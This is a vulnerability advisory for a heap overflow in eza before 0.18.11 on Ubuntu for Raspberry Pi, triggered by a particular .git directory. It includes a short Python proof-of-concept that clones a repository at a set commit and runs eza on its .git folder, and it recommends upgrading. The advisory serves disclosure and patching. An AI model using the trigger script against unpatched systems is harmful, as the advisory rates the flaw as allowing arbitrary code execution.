Summary
In eza
1 (before v0.18.11
), there exists a heap overflow vulnerability, first seen when using Ubuntu for Raspberry Pi series system, on ubuntu-raspi
kernel, relating to the .git
directory.
Details
The vulnerability seems to be triggered by the .git
directory in some projects. This issue may be related to specific files, and the directory structure also plays a role in triggering the vulnerability. Files/folders that may be involved in triggering the vulnerability include .git/HEAD
, .git/refs
, and .git/objects
.
PoC - If you have Raspberry Pi 4B bare metal machine
If you don’t have Raspberry Pi bare metal, you can try emulate a ubuntu for raspberry system in virtual machine.
You just need install any one of Ubuntu for Raspberry Pi series system in your bare metal machine.
Tested platform info
Configuration in Raspberry Pi 4B
bare metal machine:
eza version: v0.18.10 [+git]
Linux lux 5.15.0-1049-raspi #52-Ubuntu SMP PREEMPT Thu Mar 14 08:39:42 UTC 2024 aarch64 aarch64 aarch64 GNU/Linux
Distributor ID: UbuntuDescription: Ubuntu 22.04.4 LTSRelease: 22.04Codename: jammy
WARNINGSo far I have only tested the
Ubuntu 22.04.4 LTS Server
and confirmed that this vulnerability exists. I haven’t test other System/Raspberry Pi yet.
Steps
Install eza (<=v0.18.10)
in Raspberry Pi. Process can refer to the official wiki.
#!/usr/bin/env python3
import osimport shutilimport subprocess
# Step 1: Clone the repositoryrepo_url = "https://github.com/umami-software/umami.git"subprocess.run(["git", "clone", repo_url])
# Step 2: Checkout to the specific commit contain the special '.git' directory that can trigger the vulnerabilityrepo_dir = "umami"commit_hash = "a38baa5"os.chdir(repo_dir)subprocess.run(["git", "checkout", commit_hash])
# Step 3: Create a directory for the vulnerability related filesos.chdir("..")os.mkdir("suspicious")shutil.move(os.path.join(repo_dir, ".git"), "suspicious/.git")
# Step 4: Remove unrelated files/directoriesshutil.rmtree(repo_dir)
# Step 5: Trigger the vulnerabilitysubprocess.run(["eza", "-l", "--git", "suspicious/.git"])

NOTEThe picture shows my test environment. In actual testing, the vulnerability can be triggered by just using the above script.
Impact
Arbitrary code execution.
Severity using CVSS
Severity: High 8.4
Vector string: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
- Heap-based Buffer Overflow (CWE-122)
- Improper Restriction of Operations within the Bounds of a Memory Buffer (CWE-119)
- Missing Release of Memory after Effective Lifetime (CWE-401)
- Improper Resource Shutdown or Release (CWE-404)
- Improper Initialization (CWE-665)
GitHub Advisories
- GitHub Advisories.2
NIST
- National Vulnerability Database.3
Solution
Update eza to 0.18.11
or higher version.